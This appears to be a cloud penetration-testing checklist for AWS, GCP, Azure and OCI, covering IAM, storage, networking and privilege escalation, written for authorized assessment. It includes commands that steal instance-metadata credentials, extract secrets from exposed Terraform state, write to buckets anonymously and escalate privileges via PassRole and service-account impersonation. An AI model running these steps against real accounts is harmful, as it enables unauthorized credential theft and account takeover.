☰   How to use this guide

Cloud compromise is rarely one exploit — it's a chain: a leaked key or metadata-reachable credential, an over-permissive IAM policy, and over-shared storage, walked into privilege escalation and lateral movement. Identity is the perimeter. This guide turns every line of the cloud checklist into how-to-test, provider-agnostic first, then AWS/GCP/Azure/OCI primitives. Pair with the web/API checklists for the app layer.

# Read-only posture scanners (run these first, then verify by hand)
prowler aws            # or: prowler gcp / azure / oci
scoutsuite aws         # multi-cloud config audit -> HTML report
# Credentialed enum / privesc mapping
pacu                   # AWS exploitation framework (enum + privesc modules)
cloudsplaining scan --input-file account-authz.json   # IAM least-privilege gaps
# Secrets in repos/images/CI
trufflehog filesystem ./repo ; trufflehog docker --image registry/img:tag

0   Recon & external attack surface

Map the external footprint across all accounts/projects/subscriptions, and hunt for leaked credentials — the fastest path in.

External surface & leaked secrets

# Public buckets / blobs
cloud_enum -k target                    # AWS S3 + GCP + Azure blob brute
# Dangling DNS -> takeover of deleted cloud resources
subfinder -d target.tld | nuclei -t http/takeovers/
# Secrets in public Git / CI logs / IaC state
trufflehog github --org target ; gitleaks detect
# Terraform state / CloudFormation publicly readable -> secrets
curl -s https://bucket.s3.amazonaws.com/terraform.tfstate | jq '.. | .secret? // empty'

Recon & external surface — full coverage

1   Identity & access management

The core of cloud security. Look for wildcard policies, self-escalation, long-lived keys, missing MFA, and over-broad trust.

# AWS: who am I, what can I do, where can I escalate
aws sts get-caller-identity
aws iam get-account-authorization-details > authz.json
cloudsplaining scan --input-file authz.json     # flags *:* , privesc, data-exfil perms
# Wildcards in any attached policy:
aws iam list-attached-user-policies --user-name X
# GCP: roles on the project
gcloud projects get-iam-policy PROJECT --format=json | jq '.bindings[]'
# Azure: role assignments
az role assignment list --all -o table

IAM — full coverage

2   Compute / instances

The instance metadata service (IMDS) is the cloud's crown-jewel pivot: an SSRF or shell on an instance reaches metadata and steals the attached role's credentials.

Instance metadata & credential theft

# AWS IMDSv1 (no token) -> role creds directly. From the instance (or via app SSRF):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
# IMDSv2 requires a token first (good); if v1 still works it's a finding:
TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
# GCP / Azure metadata (need the Metadata header):
curl -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

Compute / instances — full coverage

3   Storage

Public or over-permissive object storage is the classic cloud breach. Test read, write, listing and pre-signed URL scope.

# AWS S3
aws s3 ls s3://bucket --no-sign-request           # anonymous list?
aws s3 cp test.txt s3://bucket/ --no-sign-request  # anonymous write?
# GCP / Azure
gsutil ls gs://bucket ; az storage blob list --container-name c --account-name a --auth-mode login

Storage — full coverage

4   Networking

Find sensitive ports open to the world, flat networks, and missing egress filtering.

# AWS: security groups open to the world on sensitive ports
aws ec2 describe-security-groups --query \
 "SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp,'0.0.0.0/0')]].GroupId"
# Then confirm reachability:
nmap -Pn -p 22,3389,3306,5432,6379,9200,27017 <public-ip>

Networking — full coverage

5   Serverless & containers

Functions and Kubernetes inherit cloud credentials — over-privileged execution roles, public invocation, and exposed K8s APIs are the pivots.

# Kubernetes exposure
kube-hunter --remote <k8s-ip>          # or run in-cluster
kubectl auth can-i --list              # what the default/pod SA can do
# Function env secrets (AWS Lambda)
aws lambda get-function-configuration --function-name F --query Environment

Serverless & containers — full coverage

6   Secrets & key management

Where keys and secrets live and who can use them. Over-permissive KMS policies let anyone decrypt.

Secrets & key management — full coverage

7   Logging, monitoring & detection

Detection gaps. Disabled audit logs and tamperable logs mean an attacker operates blind to the defender.

Logging, monitoring & detection — full coverage

8   Data & databases

Managed databases exposed publicly or with weak/default creds, and PII sitting in non-prod.

Data & databases — full coverage

9   Privilege escalation & lateral movement

The story of a cloud pentest: turn an initial credential into account/org takeover via IAM privesc primitives and service chaining.

# AWS PassRole + service privesc (classic): pass a high-priv role to a service you control
aws iam pass-role ... ; aws lambda create-function --role <highPrivRole> ...   # then invoke
# Pacu automates discovery of these:
pacu > run iam__privesc_scan
# GCP SA impersonation
gcloud auth print-access-token --impersonate-service-account=PRIV_SA@proj.iam.gserviceaccount.com

Privilege escalation & lateral movement — full coverage

A   AWS

AWS privesc lives in IAM/STS primitives plus S3, IMDS and broad resource policies.

AWS — full coverage

B   Google Cloud (GCP)

GCP privesc centers on service-account impersonation and key creation, plus default-SA scopes and public GCS.

Google Cloud (GCP) — full coverage

C   Microsoft Azure

Azure privesc is role-assignment and app/service-principal Graph permissions, plus managed identity and public blob/SAS.

Microsoft Azure — full coverage

D   Oracle Cloud (OCI)

OCI privesc is broad tenancy policies and instance/dynamic-group principals, plus public buckets and PARs.

Oracle Cloud (OCI) — full coverage

✓   Coverage map & how to run it

Run universal 0–9 on every cloud assessment, then the provider block. The highest-value work is the privesc + lateral-movement chains, not isolated public buckets.

Core principle: identity is the perimeter. Most cloud compromise is misconfigured IAM + metadata-reachable credentials + over-shared storage, chained. Map every finding back to least-privilege and blast radius, and report the chain, not just the list. Tick a box only when you've actually verified it.